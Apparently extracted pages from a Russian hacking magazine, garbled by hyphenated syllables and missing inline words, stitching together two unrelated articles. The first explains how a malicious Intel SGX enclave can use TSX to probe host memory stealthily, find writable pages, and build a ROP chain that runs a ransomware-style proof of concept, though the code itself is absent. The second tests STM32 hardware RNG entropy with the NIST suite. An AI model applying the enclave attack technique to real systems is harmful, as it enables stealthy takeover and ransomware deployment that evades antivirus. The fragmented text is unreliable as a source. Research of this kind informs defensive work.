зованию  TSX‐инс трук ций  изнутри  анкла‐ 
вов  —  защищен ных  учас тков  памяти.
Резуль татом  будет  рабочий  экс пло ит,
который  поз волит  выпол нять  любой  код
с при виле гиями хост‐при ложе ния.

Итак, что нам недос тупно в анкла ве? Мы не можем делать сис темные вызовы.
Мы  не  можем  выпол нять  опе рации  вво да‐вывода.  Мы  не  зна ем  базово го
адре са  сег мента  кода  хост‐при ложе ния.  Мы  не  можем  перехо дить  к  коду
хост‐при ложе ния  при  помощи    и  .  Мы  не  име ем  пред став ления
о струк туре адресно го прос транс тва, которой руководс тву ется хост‐при ложе‐ 
ние (нап ример, какие имен но стра ницы про мап пены или что за дан ные раз‐ 
мещены  на  этих  стра ницах).  Мы  даже  не  можем  поп росить  опе раци онную
сис тему  про мап пить  нам  кусок  памяти  хост‐при ложе ния  (нап ример,  через

).

jmp call

proc/pid/maps

INFO

Ло гич ней  все го  думать  о  тех нологии  SGX  (Soft‐
ware  Guard  Extensions)  и  анкла вах  как  о  «песоч‐ 
нице  наобо рот».  В  sandbox‐при ложе ниях,
как  пра вило,  запус кает ся  потен циаль но  опас ный
код, который тре бует ся изо лиро вать от опе раци‐ 
онной сис темы и сто рон них прог рамм. Анклав же,
нап ротив,  исхо дит  из  того,  что  окру жение  уже
может  быть  ском про мети рова но  зло умыш ленни‐ 
ками, и поэто му пре дот вра щает любой несан кци‐ 
они рован ный дос туп извне.   ты най‐ 
дешь на сай те Intel.

Под робнос ти

На ивные попыт ки про читать всле пую про изволь ную область памяти хост‐при‐ 
ложе ния рано или поз дно при ведут  к при нуди тель ному завер шению анклав‐ 
ной прог раммы (и ско рее рано, чем поз дно). Так про исхо дит вся кий раз, ког‐ 
да зап рашива емая анкла вом область вир туаль ного адресно го прос транс тва
ока зыва ется недос тупной хост‐при ложе нию. О воз можнос ти записать «что‐то
свое» даже заикать ся смеш но.

По это му  при нято  счи тать,  что  анклав  спо собен  лишь  обслу живать
хост‐при ложе ние и что анклав не может про являть собс твен ную ини циати ву,
в том чис ле зло наме рен ную. А зна чит, для соз дателей вирусов прак тичес кой
цен ности  он  не  пред став ляет.  Это  пос пешное  пред положе ние  ста ло  одной
из при чин того, почему защита анкла ва несим метрич на: код хост‐при ложе ния
не может получать дос туп к его памяти, тог да как анклав ный код может читать
и писать по любому адре су памяти хост‐при ложе ния.

По это му  слу чись  так,  что  вре донос ному  анкла ву  удас тся  делать  про‐ 
изволь ные  сис темные  вызовы  от  име ни  хост‐при ложе ния,  выпол нять  про‐ 
изволь ный код, ска ниро вать память и находить в ней при год ные для зло упот‐ 
ребле ния  ROP‐цепоч ки,  —  и  он  смо жет  зах ватить  пол ный  кон троль
над хост‐при ложе нием в стелс‐режиме. Он будет спо собен не толь ко красть
и шиф ровать поль зователь ские фай лы, но и дей ство вать от его име ни. Нап‐ 
ример, отправ лять фишин говые пись ма или про водить DoS‐ата ки. При этом
даже самые сов ремен ные защит ные механиз мы, такие как сте ковые канарей‐ 
ки и санитар ная обра бот ка адре сов, ока жут ся бес силь ными.

В статье  я  покажу  нес коль ко  при емов,  при помощи  которых  зло деи пре‐ 
одо лева ют перечис ленные огра ниче ния и исполь зуют SGX в сво их корыс тных
инте ресах  при  про веде нии  ROP‐атак.  Дела ется  это  либо  для  выпол нения
про изволь ного кода, замас кирован ного под про цесс хост‐при ложе ния (ана‐ 
логич но  process  hollowing,  который  час то  исполь зует ся  мал варью),  либо
для мас киров ки уже готовой мал вари — что бы изба вить ся от прес ледова ний
со сто роны анти виру сов и дру гих защит ных механиз мов.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

ВЫРЫВАЯСЬ НА ОПЕРАТИВНЫЙ ПРОСТОР
Пос коль ку анклав не  зна ет,  какие диапа зоны вир туаль ного адресно го прос‐ 
транс тва  дос тупны  хост‐при ложе нию,  и  так  как  при  попыт ке  чте ния  недос‐ 
тупно го адре са анклав при нуди тель но завер шает ся, перед зло умыш ленни ком
вста ет  пер вооче ред ная  задача:  най ти  надеж ный  спо соб  ска ниро вания.
Это  поз волит  соз дать  кар ту  дос тупных  вир туаль ных  адре сов.  Ата кующий
реша ет эту задачу через нецеле вое исполь зование тех нологии Intel TSX.

INFO

Transactional  Synchronization  Extensions  (TSX)  —
аппа рат ный  спо соб  повыше ния  про изво дитель‐ 
нос ти  при  син хро низа ции  обра щений  к  памяти
в  мно гопо точ ных  при ложе ниях.  В  отли чие
от мьютек сов TSX при попыт ке дос тупа к дан ным
не бло киру ет выпол нение потока до момен та зах‐ 
вата,  так же  он  устра няет  воз можность  дед лока
при  некор рек тной  реали зации. 

 — на сай те Intel.
Под робнее

про TSX

Нам инте ресен один из побоч ных эффектов этой  тех нологии: если фун кцию
дос тупа к памяти помес тить в тран закцию, то исклю чения, воз ника ющие из‐за
обра щения к недопус тимым адре сам, подав ляют ся на уров не железа и воз‐ 
вра щают ся  к  поль зователь ско му  коду,  минуя  опе раци онную  сис тему.
При попыт ке дос тупа к недей стви тель ному адре су памяти пре рыва ется толь‐ 
ко  текущая  тран закция,  а не вся анклав ная прог рамма. Таким обра зом, TSX
поз воля ет анкла ву безопас но получить дос туп к любой ячей ке памяти — и без
рис ка обру шения.

Ес ли ука зан ный адрес   хост‐при ложе нию, обра щение чаще все го
завер шает ся  успе хом. В ред ких  слу чаях мы можем потер петь неуда чу  из‐за
внеш них  воз дей ствий,  таких  как  пре рыва ния  (нап ример,  пре рыва ния  пла‐ 
ниров щика),  вытес нение  из  кеша  или  одновре мен ное  изме нение  ячей ки
памяти  нес коль кими  про цес сами.  В  такой  ситу ации  TSX  воз вра щает  код
ошиб ки, по которо му мож но опре делить, что сбой носит вре мен ный харак тер
и дос таточ но лишь переза пус тить тран закцию.

дос тупен

Ес ли  же  ука зан ный  адрес    хост‐при ложе нию,  TSX  подав ляет
воз никшее  исклю чение  (ОС  не  уве дом ляет ся)  и  отме няет  тран закцию.
При  этом  анкла ву  воз вра щает ся  код  ошиб ки,  что бы  он  мог  сре аги ровать
на  факт  отме ны.  Эти  коды  ука зыва ют  на  то,  что  рас смат рива емый  адрес
недос тупен хост‐при ложе нию.

не дос тупен

У  такого  манипу лиро вания  тран закци ями  изнутри  анкла ва  есть  при ятная
для прес тупни ка осо бен ность:  пос коль ку  на момент  выпол нения анклав ного
кода  боль шинс тво  аппа рат ных  счет чиков  про изво дитель нос ти  не  обновля‐ 
ются, по ним невоз можно отсле живать выпол няемые внут ри анкла ва TSX‐опе‐ 
рации.  Таким  обра зом,  зло наме рен ные  махина ции  оста ются  пол ностью
невиди мыми для ОС.

Кро ме  того,  пос коль ку  опи сан ный  хак  не  полага ется  на  какие‐либо  сис‐ 
темные  вызовы,  его  нель зя  ни  обна ружить,  ни  пре дот вра тить  прос той  бло‐ 
киров кой  (что  обыч но  дает  положи тель ный  резуль тат  при  борь бе  с  «охо той
на яйца»).

Зло умыш ленник  же  при меня ет  такой  метод  для  поис ка  в  коде  хост‐при‐ 
ложе ния гад жетов, при год ных для фор мирова ния ROP‐цепоч ки. При этом ему
не нуж но зон дировать каж дый адрес. Дос таточ но про верить по одно му адре‐ 
су  с  каж дой  стра ницы  вир туаль ного  адресно го  прос транс тва.  На  прак тике
зон дирова ние  всех  16  Гбайт  памяти  занима ет  око ло  45  мин  (на  Intel  i7‐
6700K). В ито ге взлом щик получа ет спи сок исполня емых стра ниц, при год ных
для конс тру иро вания ROP‐цепоч ки.

УКРЕПЛЯЕМ ПОЗИЦИИ
Для  реали зации  анклав ного  вари анта  ROP‐ата ки  зло дею  нуж но  най ти  дос‐ 
тупные для записи неис поль зуемые учас тки памяти хост‐при ложе ния. В даль‐ 
нейшем они будут задей ство ваны для инжекти рова ния под дель ного сте ково‐ 
го фрей ма и полез ной наг рузки (шелл‐кода). Так как анклав нес пособен тре‐ 
бовать от хост‐при ложе ния выделить себе память нап рямую, зло умыш ленник
может попытать ся исполь зовать не по наз начению уже выделен ную. Разуме‐ 
ется, если ему удас тся най ти под ходящие учас тки и не обру шить анклав.

Для это го экс плу ати рует ся еще один побоч ный эффект TSX. Как и в пре‐ 
дыду щем  слу чае,  спер ва  зон диру ется  адрес  на  пред мет  сущес тво вания,
а затем про веря ется, дос тупна ли для записи соот ветс тву ющая это му адре су
стра ница.  При  этом  прес тупни ки  при меня ют  сле дующий  метод:  фун кция
записи  помеща ется  в  тран закцию,  и,  пос ле  того  как  она  выпол нилась  (но
еще до того, как завер шилась), опе рация при нуди тель но обры вает ся (explicit
abort).

Гля дя на код воз вра та из тран закции, зло умыш ленник понима ет, мог ла ли
попыт ка вооб ще быть  успешной. Если это explicit  abort,  то опе рацию мож но
про водить  до  кон ца.  В  любом  дру гом  слу чае  стра ница  дос тупна  толь ко
для чте ния.

В этом зак люча ется вто рая при ятная для ата кующе го осо бен ность TSX: пос‐ 
коль ку все коман ды записи в память фик сиру ются толь ко для успешных тран‐ 
закций,  при нуди тель ное  завер шение  гаран тиру ет,  что  зон диру емая  ячей ка
памяти оста ется без изме нений.

INFO

Во обще  говоря,  тех нология  TSX  ока залась  весь‐ 
ма  богатой  на  недоку мен тирован ные  осо бен‐ 
ности.  Ран ние  реали зации  (на  про цес сорах
Haswell и Broadwell) спе циалис там Intel приш лось
отклю чать  пос редс твом  обновле ния.  Так же  тебе
может  быть  любопыт но  взгля нуть  на 
ата ки DrK, которая тоже экс плу ати рует механизм
тран закций для обхо да ядра ОС, но уже в дру гой
ситу ации.

ма тери алы

ШТУРВАЛ НА СЕБЯ!
При выпол нении ROP‐ата ки из анкла ва (в отли чие от тра дици онных атак это го
типа)  мож но  получить  кон троль  над  регис тром  RIP  без  экс плу ата ции
каких‐либо  допол нитель ных  оши бок  в  прог рамме  (перепол нение  буфера
и  подоб ные).  Прес тупник  спо собен  нап рямую  переза писы вать  зна чение
регис тра RIP, хра няще еся в кад ре сте ка. Нап ример, ука зать в нем собс твен‐ 
ную ROP‐цепоч ку.

Од нако  если  цепоч ка  длин ная,  то  переза пись  боль шого  кус ка  сте ка
хост‐при ложе ния может при вес ти  к  пов режде нию дан ных и  к  неожи дан ному
поведе нию прог раммы. Зло дея, стре мяще гося про водить свою ата ку скрыт‐ 
но,  такое положе ние вещей вряд ли устро ит. Поэто му он соз дает себе вре‐ 
мен ный кадр и хра нит пос ледова тель ность отско ков в нем. Под дель ный кадр
сте ка раз меща ется в про изволь ном мес те, дос тупном для записи. При этом
под линный стек оста ется нет ронутым.

ЧИСТО ГИПОТЕТИЧЕСКИ
Рас смот рим сце нарий потен циаль ной ата ки с при мене нием опи сан ных выше
методов. Спер ва вре донос ный анклав зон диру ет адре са в памяти и про веря‐ 
ет их на воз можность чте ния. Далее он ищет в хост‐при ложе нии под ходящие
ROP‐гад жеты.

За тем анклав ный код иден тифици рует в памяти сво бод ные учас тки, при год‐ 
ные для записи и инжекти рова ния полез ной наг рузки.

Сле дующим шагом анклав соз дает ROP‐цепоч ку из обна ружен ных на пер вом
эта пе гад жетов и инжекти рует ее в стек хост‐при ложе ния.

На конец,  ког да  хост‐при ложе ние  натыка ется  на  соз данную  таким  обра зом
ROP‐цепоч ку,  начина ется  выпол нение  полез ной  наг рузки,  с  при виле гиями
хост‐при ложе ния и с воз можностью обра щений к сис темным вызовам.

PROOF OF CONCEPT
Как  толь ко  хост‐при ложе ние  переда ет  управле ние  анкла ву  через
какой‐нибудь  ECALL  (не  подоз ревая,  что  тот  содер жит  в  себе  угро зу),  пос‐ 
ледний  прис тупа ет  к  поис ку  в  памяти  хост‐при ложе ния  сво бод ного  мес та
для инжекти рова ния кода (сво бод ными счи тают ся те ячей ки, которые содер‐ 
жат нулевое зна чение). Затем анклав отыс кива ет в хост‐при ложе нии исполня‐ 
емые  стра ницы  и  генери рует  ROP‐цепоч ку,  которая  соз дает  новый  файл
с  име нем RANSOM в  текущей дирек тории  (разуме ется,  при  реаль ной  ата ке
анклав  шиф рует  сущес тву ющие  поль зователь ские  фай лы)  и  отоб ража ет
сооб щение  с  тре бова нием  выкупа.  При  этом  хост‐при ложе ние  наив но
полага ет,  что  анклав  прос то  скла дыва ет  два  чис ла.  Оста лось  пос мотреть,
как это выг лядит в коде.

Для удобс тва вос при ятия вве дем через опре деле ния некото рую мне мони‐ 
ку.

Сох раним исходные зна чения регис тров RSP и RBP, что бы пос ле выпол нения
полез ной наг рузки вос ста новить нор маль ную работу хост‐при ложе ния.

Да лее выбира ем под ходящие ROP‐гад жеты.

На ходим мес то для инжекти рова ния полез ной наг рузки.

На конец, стро им ROP‐цепоч ку.

Вот  таким обра зом тех нология SGX, изна чаль но приз ванная защитить прог‐ 
раммы  и  цен ные  дан ные  от  пос торон них,  экс плу ати рует ся  зло умыш ленни‐ 
ками для реали зации пря мо про тиво полож ных целей.

mailto:vedacoder@mail.ru
https://software.intel.com/ru-ru/sgx
http://www.intel.com/software/tsx
https://github.com/sslab-gatech/DrK
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ТРЮКИ

Хо рошо,  ког да  под  рукой  есть  аппа рат ный
генера тор  слу чай ных  чисел  или  хотя  бы 

  Но  что  делать,  если  их  нет,
а  чуть‐чуть  слу чай нос ти  прив нести  в  про‐ 
шив ку  сво его  умно го  устрой ства  все‐таки
хочет ся?  В  такой  ситу ации  сто ит  вни‐ 
матель ней  прис мотреть ся  к  самым  обыч‐ 
ным  вещам:  нап ример,  шумам  в  ана лого‐ 
во‐циф ровом пре обра зова теле.

/dev/urandom.

Ес ли  ты  читал  мою  ,  то  пом нишь,  что  нам  тог да  пот‐ 
ребовал ся  аппа рат ный  генера тор  слу чай ных  чисел  (TRNG)  для  ини циали‐ 
зации  пула  энтро пии  внут ри  биб лиоте ки  SSL.  Тог да мы  никак  не  про веря ли
пос ледова тель ность  на  выходе  генера тора,  счи тая  по  умол чанию,  что  она
нам  под ходит.  Воз можно,  с  тех  пор  тебя  инте ресо вал  воп рос,  нас коль ко
это пред положе ние соот ветс тво вало дей стви тель нос ти и как вооб ще мож но
оце нить качес тво энтро пии.

пре дыду щую  статью

INFO

Ес ли ты читал «Крип тономи кон» Нила Сти вен сона,
то навер няка пом нишь, как глав ный герой романа
собирал  энтро пию  для  шиф рования  сооб щений
прог раммой  «Ордо»,  хаотич но  нажимая  кла виши
на кла виату ре ноут бука. Тот ред кий слу чай, ког да
опи сание  тех ничес ких  под робнос тей  в  художес‐ 
твен ной  литера туре  соот ветс тву ет  реаль нос ти
и не зас тавля ет спе циалис тов тяжело взды хать.

Кро ме того, я пос тара юсь рас ска зать, что еще мож но исполь зовать в качес‐ 
тве источни ка для генера ции слу чай ных чисел. Аппа рат ные ГСЧ в сов ремен‐ 
ных мик рокон трол лерах на архи тек туре ARM — вещь не ска зать что бы ред кая,
но и не самая рас простра нен ная.

Уз нать, при сутс тву ет ли TRNG в тво ем МК, мож но по этой таб лице.
Модель ный ряд Н7 почему‐то еще не добави ли

Увы, даже внут ри одно го семей ства далеко не у всех мик росхем оди нако вая
перифе рия. Нап ример, мик рокон трол лер F746NG име ет модуль TRNG, но не
CRYP или HASH  (их получи ли более стар шие  товари щи,  которые мощ нее и,
разуме ется, дороже). Порой быва ет, что «камень» под ходит по всем парамет‐ 
рам  и  по  перифе рии,  за  исклю чени ем  одной‐двух мелочей.  В  таком  слу чае
мож но  поп робовать  реали зовать  недос тающую  фун кци ональ ность  сво ими
силами.

WARNING

Сле дует  пом нить,  что,  если  речь  идет  об  осо бо
важ ных дан ных, эко номить нель зя ни в коем слу‐ 
чае!  Нуж но  исполь зовать  толь ко  про верен ные
генера торы  (желатель но  накап ливать  энтро пию
сра зу  с  нес коль ких)  и  ком плексно  под ходить
к проб леме безопас ности.

ИНСТРУМЕНТЫ
Ста рые зна комые…
Из железа нам пот ребу ется оце ноч ная  пла та  F746G Discovery. Не буду  пов‐ 
торять ся и вновь оста нав ливать ся на ее  . Замечу толь ко, что
в этот раз из перифе рии мы будем исполь зовать ГСЧ, АЦП и еще слот для mi‐
croSD.  С  помощью  замеча тель ной  биб лиоте ки    получен ные  дан ные
будут  записы вать ся  на  кар ту  памяти  для  даль нейшей  обра бот ки  и  ана лиза
на компь юте ре.

ха рак терис тиках

FatFs

Нас тро ить  пла ту  для  работы  с  кар точка ми  фор мата  SD  мож но  по 
 в докумен тации STMicroelectronics (пункт STM32F7 Series Device Sup‐

port & Drivers) либо в   к про екту STM32duino.

при‐ 
мерам

до пол нитель ных биб лиоте ках
Об рати  вни мание,  что  интерфей сом  для  обще ния  с  мик рокон трол лером

тут  слу жит  четырех битный  SDIO,  а  не  обыч ный  SPI,  и  это  гораз до  быс трее
(кар точки SD под держи вают SPI в режиме обратной сов мести мос ти). Кро ме
того, ST во всех сво их при мерах исполь зует ста рую вер сию биб лиоте ки FatFs.
Ты можешь взять драй веры от ST, а за акту аль ной вер сией обра тить ся на сайт
авто ра, что бы потом уже соб рать все самос тоятель но.

Преж ней оста лась и  IDE — это Arduino с уста нов ленным пакетом 
.  Кста ти,  с  момен та  выхода  прош лой  статьи  у  них  появи лась  вер‐ 

сия 1.5.0, не забудь обно вить ся!

STM32‐
duino

...и новые лица
По явле ние  ком плек та  ста тис тичес ких  тес тов  в  статье  об  энтро пии  слож но
наз вать  неожи дан ным.  Слу чай ность  слиш ком  важ на,  что бы  взять  пер вый
попав ший ся набор чисел (нап ример, из яче ек RAM или зна чение сис темно го
тай мера)  и  скор мить  прог рамме.  Если  ты  инте ресо вал ся  темой  ГСЧ,  то
навер няка  встре чал  в  интерне те  нес коль ко  пакетов  тес тов — DIEHARD(ER),
CRYPT‐X,  TestU01  и  про чие.  При меча тель но,  что  сам  Дональд  Кнут  уде лил
вни мание этой проб леме, и во вто ром томе его монумен таль ного (и нес коль‐ 
ко зануд ного) тру да по алго рит мам ты можешь най ти перечень тес тов и мно го
дру гой полез ной информа ции.

Впро чем, я решил оста новить свой выбор на пакете от NIST (The National
Institute  of  Standards  and  Technology)  пре иму щес твен но  по  двум  при чинам.
Во‐пер вых,  этот  набор  тес тов  хорошо  и  исчерпы вающе  докумен тирован
( ) за исклю чени ем одно го важ ного момен та, о котором я рас ска жу ниже.
Во‐вто рых, его исполь зовали в ST для оцен ки ГСЧ на собс твен ных мик рокон‐ 
трол лерах, поэто му мне было любопыт но срав нить, нас коль ко сой дут ся наши
резуль таты. Под робнее об их тес тирова нии ты можешь про читать в соот ветс‐ 
тву ющем аппно уте ( ). Если  тебе боль ше инте ресен прак тичес кий аспект
при мене ния STS  (Statistical  Test Suite),  то рекомен дую начать имен но с  пос‐ 
ледне го докумен та.

PDF

PDF

Что  каса ется  уста нов ки  и  исполь зования  ,  то  тут  все  три‐ 
виаль но.  Прос то  разар хивируй  пап ку,  ука жи  свой  ком пилятор  в  makefile
и собери прог рамму   из исходни ков. В зависи мос ти от нас тро ек сооб‐ 
щений тво его ком пилято ра ты можешь уви деть на экра не нес коль ко пре дуп‐ 
режде ний — игно рируй их, на резуль тат они не пов лияют.

са мого  пакета

assess

А вот здесь уже инте рес ней, и это то, о чем я говорил ранее. Кажет ся, что
логич но  про верить  работу  готовой  прог раммы  на  тех  дан ных,  резуль тат
которых заранее известен, прав да? Спе циаль но для этой цели в при ложе нии
Б докумен тации (с. 107) ука заны рас четные зна чения для при меров из пап ки

. Там лежат тес товые фай лы, пред назна чен ные для тес тирова ния нашего
ком плек та  тес тов  (как  зву чит‐то,  м‐м‐м).  Если  ты  сей час  запус тишь  прог‐ 
рамму   и ука жешь путь, нап ример, к  , то уви дишь зна‐ 
чения как буд то похожие, но все‐таки дру гие. Спо кой но, так и дол жно быть!

data

assess data → data.pi

Я  пот ратил  при лич ное  количес тво  вре мени,  раз  за  разом  про веряя
и  переп роверяя  резуль таты,  что бы  выяс нить,  в  чем  при чина  такого  поведе‐ 
ния. К счастью, более опыт ные люди вов ремя под ска зали мне, что на самом
деле  име ет  мес то  баналь ный  рас син хрон  докумен тации  и  кода.  Зная,  что
искать, лег ко заметить, что даже спо соб отоб ражения соот ношений в выводе
был изме нен.

Так что самое глав ное — это что бы ито ги пер вого тес та у тебя выг лядели
как на скрин шоте.

Вы вод для чис ла π
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Воз можно,  тебе  будет  любопыт но  узнать,  что
некото рые  свой ства  чис ла  π  не  изу чены  до  сих
пор.  Нап ример,  совер шенно  непонят но,  почему
циф ры  в  пред став лении  чис ла  π  встре чают ся
при мер но с оди нако вой веро ятностью. Впро чем,
так  как  сама  эта  пос ледова тель ность  весь ма
популяр на ( ) и извес тны трил лионы
ее  зна ков,  исполь зовать  чис ло  π  для  прак тичес‐ 
ких  при мене ний  в  качес тве  клю ча  не  сто ит  ни  в
каком виде.

OEIS:A000796

Па ру  слов  об  интер пре тации  резуль татов  из  отче та  (experiments →  Algo‐
rithmTesting →  finalAnalysisReport.txt).  В  самом  низу  докумен та  есть  крат кая
справ ка, и при пер вичном изу чении пос ледова тель нос тей слу чай ных чисел ее
быва ет дос таточ но. Прог рамма сама помеча ет звез дочкой про вален ные тес‐ 
ты (кри терии мож но задавать в фай ле нас тро ек include → defs.h или исполь‐ 
зовать зна чения по умол чанию).

Для  более  деталь ного  ана лиза  желатель но  знать  теорию  веро ятностей
и  матема тичес кую  ста тис тику  на  базовом  уров не,  понимать,  что  такое
нулевая  и  аль тер натив ная  гипоте зы,  а  так же  иметь  пред став ление  о  раз‐ 
личных  рас пре деле ниях  (можешь  начать  пря мо  с  докумен тации,  с.  13).  Эта
информа ция осо бен но при годит ся тебе, если ты захочешь соз дать собс твен‐ 
ный  генера тор,  так  как  поз волит  выяс нить,  почему  пос ледова тель ность
не про ходит тес ты в каж дом кон крет ном слу чае.

Что бы  понять,  нас коль ко  успешно был  прой ден  тот  или  иной  тест,  обра‐ 
щай вни мание на кри терий P‐value. Его смысл фор мулиру ется доволь но ака‐ 
демич но: «веро ятность того, что иде аль ный ГСЧ сфор мировал бы пос ледова‐ 
тель ность  менее  слу чай ную  отно ситель но  задан ной».  Если  корот ко,  то  чем
бли же  чис ло  к  еди нице,  тем  луч ше.  И  наобо рот,  зна чения  око ло    сви‐ 
детель ству ют о том, что мы были близ ки к про валу. Впро чем, даже резуль тат
в  диапа зоне   мож но  счи тать  хорошим  (при  усло вии,  что  дан ных
для ана лиза было дос таточ но).
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[0.4, 0.6]

Ду маю,  на  этом мож но  наконец  завер шить  зна комс тво  с  инс тру мен тами
и перей ти к основной теме статьи — тес тирова нию наших генера торов.

АППАРАТНО == НАДЕЖНО?
Пред лагаю  начать  со  встро енно го  в  мик росхе му  F746NG  TRNG‐генера тора
и попытать ся пов торить резуль таты ST. К сло ву, некото рые аспекты про веден‐ 
ного ими тес тирова ния лич но у меня вызыва ют воп росы. Напом ню, они ана‐ 
лизи рова ли десять под после дова тель нос тей при мер но по 500 тысяч бит каж‐ 
дая (в сум ме боль ше 5 мил лионов бит).

Во‐пер вых,  авто ры  STS  в  сво ей  работе  пря мо  ука зыва ют  (на  с.  91),  что
для получе ния ста тис тичес ки зна чимых резуль татов (что бы была воз можность
их  даль нейшей  интер пре тации)  нуж но  выделять  и  ана лизи ровать
не менее 55 под после дова тель нос тей из обще го пула энтро пии. Во‐вто рых,
мож но ли получить дос товер ные зна чения при объ еме в 5 мил лионов бит?

При веду  прос той  при мер:  мож но  ли  счи тать  пос ледова тель ность 
слу чай ной? А пос ледова тель ность  ? Думаю, ты сог ласишь ся, что
во вто ром слу чае  у нас  гораз до боль ше осно ваний полагать,  что мы име ем
дело  с  некото рым  пат терном,  как  раз  из‐за  того,  что  мы  уве личи ли  объ ем
выбор ки для наших ста тис тичес ких тес тов.
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Ес ли ты все еще сом нева ешь ся, пред лагаю рас смот реть дру гой при мер —
хорошо извес тные фун кции   и  . На самом деле это неп лохие фун‐ 
кции, если нуж но, нап ример, заменить играль ный кубик в тво ей любимой нас‐ 
толке. Навер ное, излишне говорить о том, что они совер шенно не под ходят
для  сколь ко‐нибудь  серь езных  при мене ний,  —  ты  и  так  об  этом  слы шал.
Впро чем, слы шать — одно дело, а про верить самос тоятель но на прак тике —
сов сем дру гое.

rand srand

Для  наг ляднос ти  на  компь юте ре  с  помощью  этих  фун кций  был  сфор‐ 
мирован файл с 1 мил лиар дом слу чай ных бит.  Так  как было выб рано ASCII‐
пред став ление нулей и еди ниц, каж дый бит потока занимал один байт в фай‐ 
ле  (ито го  ров но  гигабайт).  Сна чала  в  STS  были  про ана лизи рова ны  пер‐ 
вые 10 мил лионов бит из этой пос ледова тель нос ти.

Вы вод пер вых тес тов. На самом деле набор тес тов гораз до боль ше

Ин терес ный нюанс: фун кция    воз вра щает  целое  чис ло  со  зна ком,  но  в
стан дарте  язы ка  ниг де  не  ого ворен  диапа зон  при нима емых  зна чений  (упо‐ 
мина ется, что дол жно быть не мень ше 16 бит). Мой ком пилятор (GCC) выда ет
резуль тат  в  диапа зоне  ,  то  есть  толь ко  положи тель ную
полови ну из всех воз можных. А отри цатель ные чис ла? Их нет.

rand

[0,  2147483647]

В  резуль тате  стар ший  31‐й  бит,  который  и  хра нит  в  себе  информа цию
о зна ке чис ла, ока зыва ется всег да рав ным нулю. Если пытать ся генери ровать
энтро пию  таким  спо собом,  резуль тат  будет  край не  детер миниро ван ным.
Поэто му  даже  в  при мере  выше  я  исполь зовал  на  каж дой  ите рации  толь ко
млад шие 25 бит чис ла.

Вер немся  к  резуль татам.  Наде юсь,  они  тебя  хотя  бы  чуть‐чуть  уди вили.
Дей стви тель но,  судя  по  отче ту,  наша  пос ледова тель ность  успешно  прош ла
через  все  тес ты.  Неуже ли  все  руга ют  замеча тель ную  фун кцию    совер‐ 
шенно  нап расно? Пред лагаю  не  спе шить  с  вывода ми  и  про верить  целиком
весь файл.

rand
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Об работ ка  боль ших мас сивов  вход ных  дан ных —
однознач но не самая силь ная сто рона STS. На i9‐
8950HK  про гон  пол ного  ком плек та  тес тов
для  пос ледова тель нос ти  в  1  мил лиард  бит
занима ет боль ше часа. Это свя зано с тем, что все
вычис ления в прог рамме одно поточ ные. Так что,
если будешь пов торять, запасись тер пени ем.

Ес ли законо мер ность в пос ледова тель нос ти все‐таки есть, она рано
или поз дно обя затель но про явит себя

Тест  FFT  (Fast  Fourier  Transform,  или  быс трое  пре обра зова ние Фурье)  ищет
пери одич ности  в  рас пре деле нии  дан ных  в  нашем  наборе  (более  деталь но
можешь озна комить ся на с. 68). Впол не естес твен но, что в такой при митив‐ 
ной реали зации псев дослу чай нос ти пери од про явля ет себя гораз до рань ше
пол ного  цик ла  (напом ню,  что  для  1  мил лиар да  битов  пот ребова лось
взять 40 мил лионов пос ледова тель ных зна чений — это при мер но 2% от все го
диапа зона). Одна ко надо отдать дол жное фун кции  : осталь ные тес ты (на
час тоту, рас пре деле ние и под после дова тель нос ти) под воха не замети ли.
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Ко неч но,  со  всем  этим  мы  нес коль ко  откло нились  от  основной  темы,
но зато бла года ря неболь шому отступ лению у нас теперь будут хорошие ори‐ 
енти ры и мы будем знать, с чем срав нивать резуль таты работы того или ино го
генера тора.  Так  что  про верим  боем  TRNG,  на  этот  раз  для  пос ледова тель‐ 
нос ти в 1 мил лиард бит. Код ини циали зации и работы с модулем на CMSIS
выг лядит сле дующим обра зом:

#include <stm32f746xx.h> /* for CMSIS defines */

void rng_enable() {
   if (RNG ‐> CR & RNG_CR_RNGEN) {
       return; /* already enabled */
   }
   RCC ‐> AHB2ENR |= RCC_AHB2ENR_RNGEN; /* clock enable */
   RCC ‐> CR |= RNG_CR_RNGEN; /* rng on */
}

uint32_t rng_generate() {
   if (RNG ‐> SR & (RNG_SR_CECS | RNG_SR_SECS)) {
       return 0; /* seed error or clock error */
   }
   while (!(RNG ‐> SR & RNG_SR_DRDY)) {
       /* wait for data to appear */
   }
   return RNG ‐> DR;
}

Продолжение статьи →
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В ПОИСКАХ
СЛУЧАЙНОСТИ

ИЩЕМ ЭНТРОПИЮ НА МИКРОСХЕМЕ, ЧТОБЫ
ПОВЫСИТЬ СТОЙКОСТЬ ШИФРОВ

ТРЮКИ  НАЧАЛО СТАТЬИ←

Ап парат ные генера торы слу чай ных чисел ско ростью не отли чают ся, поэто му
мик рокон трол лер будет работать нес коль ко часов, преж де чем наберет дос‐ 
таточ но энтро пии. Зато и резуль таты соот ветс тву ющие.

Ка жет ся, скан даль ного матери ала у меня не получит ся. Но ведь оно и к
луч шему?

Под робнее об устрой стве TRNG
Ес ли верить докумен тации ST, TRNG — это  . В его
осно ве  лежит   — фазовое  дро жание  сиг нала.  Так  как  дли тель ность
пери ода в цепоч ках инверто ров не явля ется иде аль ной (всег да чуть‐чуть раз‐ 
ная)  и  тес но  свя зана  с  физичес кими  харак терис тиками  каж дого  эле мен та
на  кон крет ной  мик росхе ме,  пос ледова тель ность  на  выходе  впол не  мож но
счи тать слу чай ной.

ге нера тор коль цевого типа
джит тер

ТЕМНАЯ СТОРОНА АЦП
Ес ли  ты  ког да‐нибудь  пытал ся  про вес ти  точ ные  изме рения  ана лого вой
величи ны и кон верти ровать ее в циф ровой фор мат, то не мог не заметить, что
даже в иде аль ных усло виях зна чение всег да дрей фует в рай оне какого‐либо
зна чения.  Ничего  уди витель ного,  ведь  сам  АЦП  не  иде ален,  да  и  пре обра‐ 
зова ние  из  неп рерыв ной  фун кции  в  дис крет ную  без  потерь  невоз можно  (в
общем слу чае). На  эту  тему  у ST  для  раз работ чиков  при пасен  спе циаль ный
аппно ут ( ). Он помога ет, во‐пер вых, сми рить ся с неиз бежным, во‐вто рых,
миними зиро вать хотя бы часть шумов, которые ухуд шают качес тво пре обра‐ 
зова ний.
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В  дан ном  слу чае  шумы  игра ют  нам  толь ко  на  руку.  Чем  их  боль ше,  тем
менее  пред ска зуемый  резуль тат  получит ся  на  выходе  и  тем  слож нее  будет
